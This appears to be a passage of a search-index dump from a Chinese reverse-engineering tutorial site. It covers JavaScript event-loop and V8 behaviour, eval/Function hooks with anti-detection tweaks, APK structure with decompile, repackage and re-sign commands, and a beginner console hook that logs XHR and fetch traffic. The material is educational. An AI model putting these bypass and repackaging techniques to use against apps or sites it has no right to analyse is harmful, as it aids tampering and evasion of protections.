执行机制","uri":"/reverse_engineering/web/01-foundations/javascript_execution_mechanism/#执行顺序"},{"categories":null,"collections":null,"content":"[Reverse Engineering Context] 反调试陷阱 很多反调试代码利用 MicroTask 的高优先级来卡死浏览器或者检测调试器。 // 示例：利用 Event Loop 差异检测环境或制造时序混淆 console.log(\"Start\"); setTimeout(() =\u003e { console.log(\"Timeout\"); // 宏任务 }, 0); Promise.resolve().then(() =\u003e { console.log(\"Promise\"); // 微任务 // 恶意代码可能插在这里，优先于 setTimeout 执行 }); console.log(\"End\"); // 输出: Start -\u003e End -\u003e Promise -\u003e Timeout 如果在 setTimeout 回调里下了断点，却发现在此之前某些变量已经被 Promise 改了，这就是原因。 ","date":"2024-04-25","objectID":"/reverse_engineering/web/01-foundations/javascript_execution_mechanism/:2:3","tags":["Web","HTTP","JavaScript","加密分析","基础知识","Hook"],"title":"JavaScript 执行机制","uri":"/reverse_engineering/web/01-foundations/javascript_execution_mechanism/#reverse-engineering-context-反调试陷阱"},{"categories":null,"collections":null,"content":"2. V8 引擎架构 Chrome 和 Node.js 都使用 V8 引擎。 ","date":"2024-04-25","objectID":"/reverse_engineering/web/01-foundations/javascript_execution_mechanism/:3:0","tags":["Web","HTTP","JavaScript","加密分析","基础知识","Hook"],"title":"JavaScript 执行机制","uri":"/reverse_engineering/web/01-foundations/javascript_execution_mechanism/#2-v8-引擎架构"},{"categories":null,"collections":null,"content":"编译流水线 Parse: 源码 -\u003e AST (抽象语法树)。 Ignition (解释器): AST -\u003e Bytecode (字节码) 并执行。 TurboFan (优化编译器): 将热点 Bytecode 编译成高效的 Machine Code (机器码)。 Deoptimization (去优化): 如果假设失败（例如变量类型变了），从机器码退回到字节码。 ","date":"2024-04-25","objectID":"/reverse_engineering/web/01-foundations/javascript_execution_mechanism/:3:1","tags":["Web","HTTP","JavaScript","加密分析","基础知识","Hook"],"title":"JavaScript 执行机制","uri":"/reverse_engineering/web/01-foundations/javascript_execution_mechanism/#编译流水线"},{"categories":null,"collections":null,"content":"[Reverse Engineering Context] JIT 带来的现象 热点函数: 如果一个加密函数被频繁调用，它会被编译成极其高效的汇编。在 Profiler 中看到标红的可能是关键逻辑。 类型变换: 混淆代码有时会故意频繁改变变量类型（Int -\u003e String -\u003e Object），强迫 V8 进行 Deoptimization，导致代码执行变慢，干扰性能分析，甚至利用 JIT Bug。 ","date":"2024-04-25","objectID":"/reverse_engineering/web/01-foundations/javascript_execution_mechanism/:3:2","tags":["Web","HTTP","JavaScript","加密分析","基础知识","Hook"],"title":"JavaScript 执行机制","uri":"/reverse_engineering/web/01-foundations/javascript_execution_mechanism/#reverse-engineering-context-jit-带来的现象"},{"categories":null,"collections":null,"content":"3. 作用域链与上下文 ","date":"2024-04-25","objectID":"/reverse_engineering/web/01-foundations/javascript_execution_mechanism/:4:0","tags":["Web","HTTP","JavaScript","加密分析","基础知识","Hook"],"title":"JavaScript 执行机制","uri":"/reverse_engineering/web/01-foundations/javascript_execution_mechanism/#3-作用域链与上下文"},{"categories":null,"collections":null,"content":"执行上下文 (Execution Context) 每当 JS 引擎执行代码时，都会创建上下文： Global Context: 全局。 Function Context: 函数调用时创建。 ","date":"2024-04-25","objectID":"/reverse_engineering/web/01-foundations/javascript_execution_mechanism/:4:1","tags":["Web","HTTP","JavaScript","加密分析","基础知识","Hook"],"title":"JavaScript 执行机制","uri":"/reverse_engineering/web/01-foundations/javascript_execution_mechanism/#执行上下文-execution-context"},{"categories":null,"collections":null,"content":"变量对象 (VO) 与 活动对象 (AO) 存储函数内的 arguments, 变量, 内部函数。 逆向时，Scopes 面板看到的 Closure 就是保存了外部函数 AO 的引用。 ","date":"2024-04-25","objectID":"/reverse_engineering/web/01-foundations/javascript_execution_mechanism/:4:2","tags":["Web","HTTP","JavaScript","加密分析","基础知识","Hook"],"title":"JavaScript 执行机制","uri":"/reverse_engineering/web/01-foundations/javascript_execution_mechanism/#变量对象-vo-与-活动对象-ao"},{"categories":null,"collections":null,"content":"4. 垃圾回收 (Garbage Collection) V8 使用分代回收算法： 新生代 (New Space): 存活时间短的对象，使用 Scavenge 算法 (复制清除)。 老生代 (Old Space): 存活时间长的对象，使用 Mark-Sweep (标记清除) 和 Mark-Compact (标记整理)。 ","date":"2024-04-25","objectID":"/reverse_engineering/web/01-foundations/javascript_execution_mechanism/:5:0","tags":["Web","HTTP","JavaScript","加密分析","基础知识","Hook"],"title":"JavaScript 执行机制","uri":"/reverse_engineering/web/01-foundations/javascript_execution_mechanism/#4-垃圾回收-garbage-collection"},{"categories":null,"collections":null,"content":"[Reverse Engineering Context] 内存泄漏 如果发现网页内存持续飙升，可能是反爬虫脚本在故意制造内存压力，或者由于频繁创建未销毁的闭包导致。 ","date":"2024-04-25","objectID":"/reverse_engineering/web/01-foundations/javascript_execution_mechanism/:5:1","tags":["Web","HTTP","JavaScript","加密分析","基础知识","Hook"],"title":"JavaScript 执行机制","uri":"/reverse_engineering/web/01-foundations/javascript_execution_mechanism/#reverse-engineering-context-内存泄漏"},{"categories":null,"collections":null,"content":"5. Eval 与 Function 构造器 动态执行代码的两种方式，也是混淆的重灾区。 eval(\"var a = 1;\"); // 访问本地作用域 new Function(\"return 1\")(); // 只能访问全局作用域 对抗: Hook eval 和 Function 是获取解密后代码的最快路径。 // Hook eval window._eval = window.eval; window.eval = function (str) { console.log(\"[eval]\", str); return window._eval(str); }; // Hook Function // 注意：Function 不仅仅是函数，它本身也是构造器 var _Function = window.Function; window.Function = function (...args) { let body = args[args.length - 1]; console.log(\"[Function]\", body); return _Function.apply(this, args); }; // 保持原型链，防止检测 window.Function.prototype = _Function.prototype; window.Function.prototype.constructor = window.Function; ","date":"2024-04-25","objectID":"/reverse_engineering/web/01-foundations/javascript_execution_mechanism/:6:0","tags":["Web","HTTP","JavaScript","加密分析","基础知识","Hook"],"title":"JavaScript 执行机制","uri":"/reverse_engineering/web/01-foundations/javascript_execution_mechanism/#5-eval-与-function-构造器"},{"categories":null,"collections":null,"content":"总结 理解 JS 执行机制让我们不仅能看懂代码，还能看懂代码“背后”的行为——为什么这里的断点进不去？为什么这段代码执行顺序和想的不一样？为什么内存一直在涨？这些问题的答案都在 Event Loop 和 V8 引擎里。 ","date":"2024-04-25","objectID":"/reverse_engineering/web/01-foundations/javascript_execution_mechanism/:7:0","tags":["Web","HTTP","JavaScript","加密分析","基础知识","Hook"],"title":"JavaScript 执行机制","uri":"/reverse_engineering/web/01-foundations/javascript_execution_mechanism/#总结"},{"categories":null,"collections":null,"content":"APK 文件结构详解 APK (Android Package) 是 Android 操作系统用于分发和安装移动应用的文件格式。它本质上是一个 ZIP 归档文件，包含了应用的所有代码、资源、证书等。理解其内部结构是逆向工程和安全分析的第一步。 ","date":"2024-04-24","objectID":"/reverse_engineering/android/04-reference/foundations/apk_structure/:0:0","tags":["RSA","Native层","Flutter","签名验证","Frida","SSL Pinning"],"title":"APK 文件结构详解","uri":"/reverse_engineering/android/04-reference/foundations/apk_structure/#apk-文件结构详解"},{"categories":null,"collections":null,"content":"APK 概览 一个标准的 APK 文件，当用解压缩工具打开时，通常会看到以下目录结构： app.apk ├── AndroidManifest.xml # [必需] 应用清单文件（二进制格式） ├── classes.dex # [必需] Dalvik/ART 字节码 ├── classes2.dex # [可选] 多 DEX 文件 ├── resources.arsc # [必需] 预编译资源索引表 ├── res/ # [必需] 未编译的资源目录 │ ├── drawable/ # 图片资源 │ ├── layout/ # 布局 XML │ ├── values/ # 字符串、颜色等值资源 │ └── ... ├── lib/ # [可选] 原生库目录 │ ├── arm64-v8a/ # 64位 ARM │ ├── armeabi-v7a/ # 32位 ARM │ ├── x86/ # 32位 x86 │ └── x86_64/ # 64位 x86 ├── assets/ # [可选] 原始资源文件 └── META-INF/ # [必需] 签名信息 ├── MANIFEST.MF ├── CERT.SF └── CERT.RSA ","date":"2024-04-24","objectID":"/reverse_engineering/android/04-reference/foundations/apk_structure/:1:0","tags":["RSA","Native层","Flutter","签名验证","Frida","SSL Pinning"],"title":"APK 文件结构详解","uri":"/reverse_engineering/android/04-reference/foundations/apk_structure/#apk-概览"},{"categories":null,"collections":null,"content":"AndroidManifest.xml 这是 APK 中最重要的文件，它以二进制 XML 格式存储，包含了应用的所有元信息。 ","date":"2024-04-24","objectID":"/reverse_engineering/android/04-reference/foundations/apk_structure/:2:0","tags":["RSA","Native层","Flutter","签名验证","Frida","SSL Pinning"],"title":"APK 文件结构详解","uri":"/reverse_engineering/android/04-reference/foundations/apk_structure/#androidmanifestxml"},{"categories":null,"collections":null,"content":"核心内容 元素 说明 包名 (Package Name) 应用在系统中的唯一标识符，如 com.example.app 组件 (Components) 声明所有四大组件：Activity、Service、BroadcastReceiver、ContentProvider 权限 (Permissions) 声明应用需要申请的权限，如 android.permission.INTERNET 入口点 (Entry Point) 指定哪个 Activity 是应用的启动入口（LAUNCHER Activity） SDK 版本 指定 minSdkVersion、targetSdkVersion ","date":"2024-04-24","objectID":"/reverse_engineering/android/04-reference/foundations/apk_structure/:2:1","tags":["RSA","Native层","Flutter","签名验证","Frida","SSL Pinning"],"title":"APK 文件结构详解","uri":"/reverse_engineering/android/04-reference/foundations/apk_structure/#核心内容"},{"categories":null,"collections":null,"content":"四大组件 \u003c!-- Activity: 用户界面 --\u003e \u003cactivity android:name=\".MainActivity\" android:exported=\"true\"\u003e \u003cintent-filter\u003e \u003caction android:name=\"android.intent.action.MAIN\" /\u003e \u003ccategory android:name=\"android.intent.category.LAUNCHER\" /\u003e \u003c/intent-filter\u003e \u003c/activity\u003e \u003c!-- Service: 后台服务 --\u003e \u003cservice android:name=\".MyService\" android:exported=\"false\" /\u003e \u003c!-- BroadcastReceiver: 广播接收器 --\u003e \u003creceiver android:name=\".MyReceiver\"\u003e \u003cintent-filter\u003e \u003caction android:name=\"android.intent.action.BOOT_COMPLETED\" /\u003e \u003c/intent-filter\u003e \u003c/receiver\u003e \u003c!-- ContentProvider: 内容提供者 --\u003e \u003cprovider android:name=\".MyProvider\" android:authorities=\"com.example.app.provider\" android:exported=\"false\" /\u003e 分析提示: 必须使用 apktool 或 jadx 等工具将其解码为人类可读的 XML 格式。直接用文本编辑器打开是乱码。 ","date":"2024-04-24","objectID":"/reverse_engineering/android/04-reference/foundations/apk_structure/:2:2","tags":["RSA","Native层","Flutter","签名验证","Frida","SSL Pinning"],"title":"APK 文件结构详解","uri":"/reverse_engineering/android/04-reference/foundations/apk_structure/#四大组件"},{"categories":null,"collections":null,"content":"classes.dex 这是由 Java/Kotlin 代码编译、转换后生成的 Dalvik 虚拟机字节码。应用的所有业务逻辑都在这里。 ","date":"2024-04-24","objectID":"/reverse_engineering/android/04-reference/foundations/apk_structure/:3:0","tags":["RSA","Native层","Flutter","签名验证","Frida","SSL Pinning"],"title":"APK 文件结构详解","uri":"/reverse_engineering/android/04-reference/foundations/apk_structure/#classesdex"},{"categories":null,"collections":null,"content":"DEX 文件特点 特性 说明 格式 Dalvik Executable，专为移动设备优化 方法数限制 单个 DEX 文件最多 65536 个方法 多 DEX 超过限制时会有 classes2.dex, classes3.dex 等 字节码 基于寄存器的指令集，比 JVM 字节码更紧凑 ","date":"2024-04-24","objectID":"/reverse_engineering/android/04-reference/foundations/apk_structure/:3:1","tags":["RSA","Native层","Flutter","签名验证","Frida","SSL Pinning"],"title":"APK 文件结构详解","uri":"/reverse_engineering/android/04-reference/foundations/apk_structure/#dex-文件特点"},{"categories":null,"collections":null,"content":"分析工具 # 使用 jadx 反编译为 Java 代码 jadx -d output/ app.apk # 使用 baksmali 反汇编为 Smali 代码 baksmali d classes.dex -o smali_output/ # 使用 dex2jar 转换为 JAR d2j-dex2jar.sh classes.dex 分析提示: 使用 jadx 可以将其反编译为 Java 代码，使用 baksmali 可以反汇编为 Smali 代码。 ","date":"2024-04-24","objectID":"/reverse_engineering/android/04-reference/foundations/apk_structure/:3:2","tags":["RSA","Native层","Flutter","签名验证","Frida","SSL Pinning"],"title":"APK 文件结构详解","uri":"/reverse_engineering/android/04-reference/foundations/apk_structure/#分析工具"},{"categories":null,"collections":null,"content":"resources.arsc 这是一个二进制资源索引表。Android 系统使用它来快速查找和匹配资源。 ","date":"2024-04-24","objectID":"/reverse_engineering/android/04-reference/foundations/apk_structure/:4:0","tags":["RSA","Native层","Flutter","签名验证","Frida","SSL Pinning"],"title":"APK 文件结构详解","uri":"/reverse_engineering/android/04-reference/foundations/apk_structure/#resourcesarsc"},{"categories":null,"collections":null,"content":"功能说明 包含从资源 ID 到具体资源文件（或字符串值）的映射关系 支持多语言、多屏幕密度等资源适配 当代码中调用 R.string.app_name 时，系统通过此文件找到对应的字符串值 ","date":"2024-04-24","objectID":"/reverse_engineering/android/04-reference/foundations/apk_structure/:4:1","tags":["RSA","Native层","Flutter","签名验证","Frida","SSL Pinning"],"title":"APK 文件结构详解","uri":"/reverse_engineering/android/04-reference/foundations/apk_structure/#功能说明"},{"categories":null,"collections":null,"content":"资源 ID 格式 0x7f010001 │ │ │ │ │ └── 资源项 ID (0001) │ └──── 资源类型 (01 = attr, 02 = drawable, 03 = layout, 04 = string...) └────── 包 ID (7f = 应用本身, 01 = 系统资源) 分析提示: apktool 可以解码此文件，将其中的字符串等资源还原到 res/values/strings.xml 等文件中。 ","date":"2024-04-24","objectID":"/reverse_engineering/android/04-reference/foundations/apk_structure/:4:2","tags":["RSA","Native层","Flutter","签名验证","Frida","SSL Pinning"],"title":"APK 文件结构详解","uri":"/reverse_engineering/android/04-reference/foundations/apk_structure/#资源-id-格式"},{"categories":null,"collections":null,"content":"res/ 目录 存放未编译的资源文件，这些资源在打包时大多保持原样或只进行简单处理。 ","date":"2024-04-24","objectID":"/reverse_engineering/android/04-reference/foundations/apk_structure/:5:0","tags":["RSA","Native层","Flutter","签名验证","Frida","SSL Pinning"],"title":"APK 文件结构详解","uri":"/reverse_engineering/android/04-reference/foundations/apk_structure/#res-目录"},{"categories":null,"collections":null,"content":"目录结构 目录 内容 res/drawable/ 图片资源（PNG, JPG, WebP, XML drawable） res/layout/ 布局 XML 文件 res/values/ 字符串、颜色、尺寸等值资源 res/xml/ 任意 XML 配置文件 res/raw/ 任意原始二进制文件 res/mipmap/ 应用图标资源 res/anim/ 动画定义文件 ","date":"2024-04-24","objectID":"/reverse_engineering/android/04-reference/foundations/apk_structure/:5:1","tags":["RSA","Native层","Flutter","签名验证","Frida","SSL Pinning"],"title":"APK 文件结构详解","uri":"/reverse_engineering/android/04-reference/foundations/apk_structure/#目录结构"},{"categories":null,"collections":null,"content":"资源限定符 res/ ├── drawable/ # 默认资源 ├── drawable-hdpi/ # 高密度屏幕 ├── drawable-xhdpi/ # 超高密度屏幕 ├── drawable-xxhdpi/ # 超超高密度屏幕 ├── values/ # 默认语言 ├── values-zh/ # 中文 └── values-ja/ # 日文 分析提示: 布局 XML 文件虽然可读，但它们引用的字符串等资源是以 @string/app_name 的形式存在的，需要结合 resources.arsc 才能完全理解。 ","date":"2024-04-24","objectID":"/reverse_engineering/android/04-reference/foundations/apk_structure/:5:2","tags":["RSA","Native层","Flutter","签名验证","Frida","SSL Pinning"],"title":"APK 文件结构详解","uri":"/reverse_engineering/android/04-reference/foundations/apk_structure/#资源限定符"},{"categories":null,"collections":null,"content":"lib/ 目录 存放应用使用的 C/C++ 原生库（.so 文件）。为了适配不同的 CPU 架构，它通常包含多个子目录。 ","date":"2024-04-24","objectID":"/reverse_engineering/android/04-reference/foundations/apk_structure/:6:0","tags":["RSA","Native层","Flutter","签名验证","Frida","SSL Pinning"],"title":"APK 文件结构详解","uri":"/reverse_engineering/android/04-reference/foundations/apk_structure/#lib-目录"},{"categories":null,"collections":null,"content":"架构说明 目录 架构 说明 arm64-v8a/ 64位 ARM 目前主流 Android 设备 armeabi-v7a/ 32位 ARM 较老的 ARM 设备 x86_64/ 64位 x86 模拟器、Intel 设备 x86/ 32位 x86 模拟器、Intel 设备 ","date":"2024-04-24","objectID":"/reverse_engineering/android/04-reference/foundations/apk_structure/:6:1","tags":["RSA","Native层","Flutter","签名验证","Frida","SSL Pinning"],"title":"APK 文件结构详解","uri":"/reverse_engineering/android/04-reference/foundations/apk_structure/#架构说明"},{"categories":null,"collections":null,"content":"常见原生库 lib/arm64-v8a/ ├── libnative-lib.so # 应用自定义原生库 ├── libflutter.so # Flutter 引擎 ├── libil2cpp.so # Unity IL2CPP ├── libcrypto.so # OpenSSL 加密库 └── libsqlcipher.so # SQLCipher 加密数据库 分析提示: 核心的加密、解密、核心算法或游戏引擎常常在这里实现。需要使用 IDA Pro、Ghidra、Binary Ninja 等工具进行逆向分析。 ","date":"2024-04-24","objectID":"/reverse_engineering/android/04-reference/foundations/apk_structure/:6:2","tags":["RSA","Native层","Flutter","签名验证","Frida","SSL Pinning"],"title":"APK 文件结构详解","uri":"/reverse_engineering/android/04-reference/foundations/apk_structure/#常见原生库"},{"categories":null,"collections":null,"content":"assets/ 目录 这是一个\"原封不动\"的资源目录。与 res/raw 类似，这里的任何文件在打包时都不会被系统处理。 ","date":"2024-04-24","objectID":"/reverse_engineering/android/04-reference/foundations/apk_structure/:7:0","tags":["RSA","Native层","Flutter","签名验证","Frida","SSL Pinning"],"title":"APK 文件结构详解","uri":"/reverse_engineering/android/04-reference/foundations/apk_structure/#assets-目录"},{"categories":null,"collections":null,"content":"常见用途 类型 示例 配置文件 config.json, settings.xml Web 资源 index.html, app.js, style.css 游戏资源 地图数据、关卡配置、精灵图 字体文件 custom_font.ttf 数据库 预置的 SQLite 数据库 加密数据 加密的配置或密钥文件 分析提示: 检查此目录是否有敏感的配置文件、密钥或 Web 资源。 ","date":"2024-04-24","objectID":"/reverse_engineering/android/04-reference/foundations/apk_structure/:7:1","tags":["RSA","Native层","Flutter","签名验证","Frida","SSL Pinning"],"title":"APK 文件结构详解","uri":"/reverse_engineering/android/04-reference/foundations/apk_structure/#常见用途"},{"categories":null,"collections":null,"content":"META-INF/ 目录 存放应用的签名信息，用于验证 APK 的完整性和来源。 ","date":"2024-04-24","objectID":"/reverse_engineering/android/04-reference/foundations/apk_structure/:8:0","tags":["RSA","Native层","Flutter","签名验证","Frida","SSL Pinning"],"title":"APK 文件结构详解","uri":"/reverse_engineering/android/04-reference/foundations/apk_structure/#meta-inf-目录"},{"categories":null,"collections":null,"content":"文件说明 文件 说明 MANIFEST.MF 包含 APK 中每个文件的名称及其 SHA-256 哈希值 CERT.SF APK 中每个文件的摘要（哈希值） CERT.RSA 包含用于签署 CERT.SF 的公钥和证书 ","date":"2024-04-24","objectID":"/reverse_engineering/android/04-reference/foundations/apk_structure/:8:1","tags":["RSA","Native层","Flutter","签名验证","Frida","SSL Pinning"],"title":"APK 文件结构详解","uri":"/reverse_engineering/android/04-reference/foundations/apk_structure/#文件说明"},{"categories":null,"collections":null,"content":"签名机制 1. 计算 APK 中每个文件的哈希 → 记录在 MANIFEST.MF │ ▼ 2. 计算 MANIFEST.MF 整个文件的哈希 → 记录在 CERT.SF │ ▼ 3. 用开发者私钥对 CERT.SF 签名 → 生成 CERT.RSA 当系统安装 APK 时，会用 CERT.RSA 中的公钥来验证签名，确保文件自签名后未被篡改。 ","date":"2024-04-24","objectID":"/reverse_engineering/android/04-reference/foundations/apk_structure/:8:2","tags":["RSA","Native层","Flutter","签名验证","Frida","SSL Pinning"],"title":"APK 文件结构详解","uri":"/reverse_engineering/android/04-reference/foundations/apk_structure/#签名机制"},{"categories":null,"collections":null,"content":"APK 签名方案 版本 说明 v1 (JAR 签名) 传统签名方式，基于 META-INF 目录 v2 (APK 签名块) Android 7.0+，签名信息存储在 APK 签名块中 v3 (APK 签名块 + 密钥轮换) Android 9.0+，支持密钥轮换 v4 (增量签名) Android 11+，支持增量安装 分析提示: 对 APK 进行任何修改（包括重打包）后，都必须用自己的密钥重新签名，否则安装会失败。 ","date":"2024-04-24","objectID":"/reverse_engineering/android/04-reference/foundations/apk_structure/:8:3","tags":["RSA","Native层","Flutter","签名验证","Frida","SSL Pinning"],"title":"APK 文件结构详解","uri":"/reverse_engineering/android/04-reference/foundations/apk_structure/#apk-签名方案"},{"categories":null,"collections":null,"content":"APK 分析流程 ","date":"2024-04-24","objectID":"/reverse_engineering/android/04-reference/foundations/apk_structure/:9:0","tags":["RSA","Native层","Flutter","签名验证","Frida","SSL Pinning"],"title":"APK 文件结构详解","uri":"/reverse_engineering/android/04-reference/foundations/apk_structure/#apk-分析流程"},{"categories":null,"collections":null,"content":"1. 解包 # 推荐：使用 apktool 解包（正确解码 XML 和资源） apktool d app.apk -o app_decoded/ # 备选：直接解压（不解码二进制 XML） unzip app.apk -d app_unzipped/ ","date":"2024-04-24","objectID":"/reverse_engineering/android/04-reference/foundations/apk_structure/:9:1","tags":["RSA","Native层","Flutter","签名验证","Frida","SSL Pinning"],"title":"APK 文件结构详解","uri":"/reverse_engineering/android/04-reference/foundations/apk_structure/#1-解包"},{"categories":null,"collections":null,"content":"2. 静态分析 # 使用 jadx-gui 打开，直接浏览反编译的 Java 代码 jadx-gui app.apk # 命令行批量反编译 jadx -d java_output/ app.apk 检查清单: 阅读 AndroidManifest.xml，了解主要组件、权限和入口点 检查 assets/ 目录，寻找配置文件或敏感数据 检查 lib/ 目录，识别使用的原生库 搜索硬编码的密钥、URL、API 端点 ","date":"2024-04-24","objectID":"/reverse_engineering/android/04-reference/foundations/apk_structure/:9:2","tags":["RSA","Native层","Flutter","签名验证","Frida","SSL Pinning"],"title":"APK 文件结构详解","uri":"/reverse_engineering/android/04-reference/foundations/apk_structure/#2-静态分析"},{"categories":null,"collections":null,"content":"3. 动态分析 # 安装应用 adb install app.apk # 使用 Frida 进行 Hook frida -U -f com.example.app -l hook_script.js # 使用 objection 快速分析 objection -g com.example.app explore ","date":"2024-04-24","objectID":"/reverse_engineering/android/04-reference/foundations/apk_structure/:9:3","tags":["RSA","Native层","Flutter","签名验证","Frida","SSL Pinning"],"title":"APK 文件结构详解","uri":"/reverse_engineering/android/04-reference/foundations/apk_structure/#3-动态分析"},{"categories":null,"collections":null,"content":"4. 重打包（修改后） # 使用 apktool 重新打包 apktool b app_decoded/ -o app_modified.apk # 签名 apksigner sign --ks my.keystore app_modified.apk # 或使用 jarsigner jarsigner -keystore my.keystore app_modified.apk alias_name # 对齐优化 zipalign -v 4 app_modified.apk app_aligned.apk ","date":"2024-04-24","objectID":"/reverse_engineering/android/04-reference/foundations/apk_structure/:9:4","tags":["RSA","Native层","Flutter","签名验证","Frida","SSL Pinning"],"title":"APK 文件结构详解","uri":"/reverse_engineering/android/04-reference/foundations/apk_structure/#4-重打包修改后"},{"categories":null,"collections":null,"content":"总结 文件/目录 分析重点 AndroidManifest.xml 组件、权限、入口点、导出状态 classes.dex 业务逻辑、加密算法、网络请求 lib/*.so 核心算法、加密实现、反调试 assets/ 配置文件、密钥、Web 资源 META-INF/ 签名信息、证书 掌握 APK 文件结构是 Android 逆向工程的基础。通过系统地分析每个组成部分，可以全面了解应用的功能和实现细节。 ","date":"2024-04-24","objectID":"/reverse_engineering/android/04-reference/foundations/apk_structure/:10:0","tags":["RSA","Native层","Flutter","签名验证","Frida","SSL Pinning"],"title":"APK 文件结构详解","uri":"/reverse_engineering/android/04-reference/foundations/apk_structure/#总结"},{"categories":null,"collections":null,"content":"配方：你的第一个 Hook ","date":"2024-04-24","objectID":"/reverse_engineering/web/00-quick-start/your_first_hook/:0:0","tags":["RSA","入门","加密分析","Hook","Web逆向"],"title":"配方：你的第一个 Hook","uri":"/reverse_engineering/web/00-quick-start/your_first_hook/#配方你的第一个-hook"},{"categories":null,"collections":null,"content":"配方信息 项目 说明 难度 ⭐ (入门级) 预计时间 15 分钟 所需工具 Chrome 浏览器 适用场景 监控网站的所有网络请求 前置知识 无需编程基础 ","date":"2024-04-24","objectID":"/reverse_engineering/web/00-quick-start/your_first_hook/:1:0","tags":["RSA","入门","加密分析","Hook","Web逆向"],"title":"配方：你的第一个 Hook","uri":"/reverse_engineering/web/00-quick-start/your_first_hook/#配方信息"},{"categories":null,"collections":null,"content":"📚 前置知识 本配方是零基础入门，无需任何编程经验即可开始学习。 知识领域 重要程度 说明 基础计算机操作 必需 能够使用浏览器和键盘快捷键 英语阅读能力 推荐 代码和控制台信息多为英文 💡 新手提示: 这是你进入 Web 逆向世界的第一步！完成本配方后，建议继续学习 解密 API 参数 和 Hook 技术详解。 ","date":"2024-04-24","objectID":"/reverse_engineering/web/00-quick-start/your_first_hook/:2:0","tags":["RSA","入门","加密分析","Hook","Web逆向"],"title":"配方：你的第一个 Hook","uri":"/reverse_engineering/web/00-quick-start/your_first_hook/#-前置知识"},{"categories":null,"collections":null,"content":"你将学到 完成这个配方后，你将能够： ✅ 打开和使用浏览器开发者工具 ✅ 在浏览器中注入 JavaScript 代码 ✅ 拦截和查看所有 XHR/Fetch 请求 ✅ 理解 Hook 技术的基本原理 ✅ 导出和保存拦截到的数据 ","date":"2024-04-24","objectID":"/reverse_engineering/web/00-quick-start/your_first_hook/:3:0","tags":["RSA","入门","加密分析","Hook","Web逆向"],"title":"配方：你的第一个 Hook","uri":"/reverse_engineering/web/00-quick-start/your_first_hook/#你将学到"},{"categories":null,"collections":null,"content":"准备工作 ","date":"2024-04-24","objectID":"/reverse_engineering/web/00-quick-start/your_first_hook/:4:0","tags":["RSA","入门","加密分析","Hook","Web逆向"],"title":"配方：你的第一个 Hook","uri":"/reverse_engineering/web/00-quick-start/your_first_hook/#准备工作"},{"categories":null,"collections":null,"content":"检查清单 在开始之前，请确认： ☐ 已安装 Chrome 浏览器（或 Edge/Firefox） ☐ 能够访问互联网 ☐ 准备一个目标网站（推荐用 https://jsonplaceholder.typicode.com/ 作为练习） ","date":"2024-04-24","objectID":"/reverse_engineering/web/00-quick-start/your_first_hook/:4:1","tags":["RSA","入门","加密分析","Hook","Web逆向"],"title":"配方：你的第一个 Hook","uri":"/reverse_engineering/web/00-quick-start/your_first_hook/#检查清单"},{"categories":null,"collections":null,"content":"背景知识 什么是 Hook？ Hook（钩子）就像在数据流动的管道上安装一个\"监听器\"，可以： 查看通过管道的所有数据 修改数据内容 记录数据用于分析 在 Web 逆向中，我们主要 Hook 网络请求函数，监控网站发送和接收的数据。 ","date":"2024-04-24","objectID":"/reverse_engineering/web/00-quick-start/your_first_hook/:4:2","tags":["RSA","入门","加密分析","Hook","Web逆向"],"title":"配方：你的第一个 Hook","uri":"/reverse_engineering/web/00-quick-start/your_first_hook/#背景知识"},{"categories":null,"collections":null,"content":"步骤详解 ","date":"2024-04-24","objectID":"/reverse_engineering/web/00-quick-start/your_first_hook/:5:0","tags":["RSA","入门","加密分析","Hook","Web逆向"],"title":"配方：你的第一个 Hook","uri":"/reverse_engineering/web/00-quick-start/your_first_hook/#步骤详解"},{"categories":null,"collections":null,"content":"Step 1: 打开开发者工具 打开 Chrome 浏览器 访问测试网站: https://jsonplaceholder.typicode.com/ 打开开发者工具（三种方式任选其一）: 按 F12 键 按 Ctrl+Shift+I (Windows) 或 Cmd+Option+I (Mac) 右键页面 → “检查” 切换到 Console 标签 ✅ 验证: 你应该看到一个可以输入代码的控制台界面 ","date":"2024-04-24","objectID":"/reverse_engineering/web/00-quick-start/your_first_hook/:5:1","tags":["RSA","入门","加密分析","Hook","Web逆向"],"title":"配方：你的第一个 Hook","uri":"/reverse_engineering/web/00-quick-start/your_first_hook/#step-1-打开开发者工具"},{"categories":null,"collections":null,"content":"Step 2: 注入 Hook 代码 复制以下代码: // Universal Network Monitor Hook (function () { console.log(\" Network Hook已启动！\"); // Hook XMLHttpRequest const originalXHROpen = XMLHttpRequest.prototype.open; const originalXHRSend = XMLHttpRequest.prototype.send; XMLHttpRequest.prototype.open = function (method, url) { this._method = method; this._url = url; return originalXHROpen.apply(this, arguments); }; XMLHttpRequest.prototype.send = function (body) { console.log(\" [XHR 请求]\", { method: this._method, url: this._url, body: body, }); // Hook 响应 this.addEventListener(\"load\", function () { console.log(\" [XHR 响应]\", { url: this._url, status: this.status, response: this.responseText.substring(0, 200) + \"...\", }); }); return originalXHRSend.apply(this, arguments); }; // Hook Fetch API const originalFetch = window.fetch; window.fetch = function (...args) { console.log(\" [Fetch 请求]\", { url: args[0], options: args[1], }); return originalFetch.apply(this, args).then((response) =\u003e { console.log(\" [Fetch 响应]\", { url: response.url, status: response.status, }); // Clone response 避免消耗它 return response .clone() .text() .then((body) =\u003e { console.log(\" [Fetch 内容]\", body.substring(0, 200) + \"...\"); return response; }); }); }; console.log(\"✅ Hook 安装成功！现在所有请求都会被记录。\"); })(); 粘贴到 Console 中 按 Enter 键执行 ✅ 验证: 你应该看到消息 “✅ Hook 安装成功！现在所有请求都会被记录。” ","date":"2024-04-24","objectID":"/reverse_engineering/web/00-quick-start/your_first_hook/:5:2","tags":["RSA","入门","加密分析","Hook","Web逆向"],"title":"配方：你的第一个 Hook","uri":"/reverse_engineering/web/00-quick-start/your_first_hook/#step-2-注入-hook-代码"},{"categories":null,"collections":null,"content":"Step 3: 触发请求并观察 在测试网站中点击示例链接: 点击 /posts 点击 /comments 点击 /users 观察 Console 输出: 你会看到类似这样的输出： [Fetch 请求] {url: \"https://jsonplaceholder.typicode.com/posts\", options: undefined} [Fetch 响应] {url: \"https://jsonplaceholder.typicode.com/posts\", status: 200} [Fetch 内容] [{\"userId\":1,\"id\":1,\"title\":\"sunt aut facere... 分析输出信息: 表示发送的请求 表示收到的响应 可以看到 URL、HTTP 方法、状态码、响应内容 ✅ 验证: 每次点击链接都能在 Console 看到请求和响应记录 ","date":"2024-04-24","objectID":"/reverse_engineering/web/00-quick-start/your_first_hook/:5:3","tags":["RSA","入门","加密分析","Hook","Web逆向"],"title":"配方：你的第一个 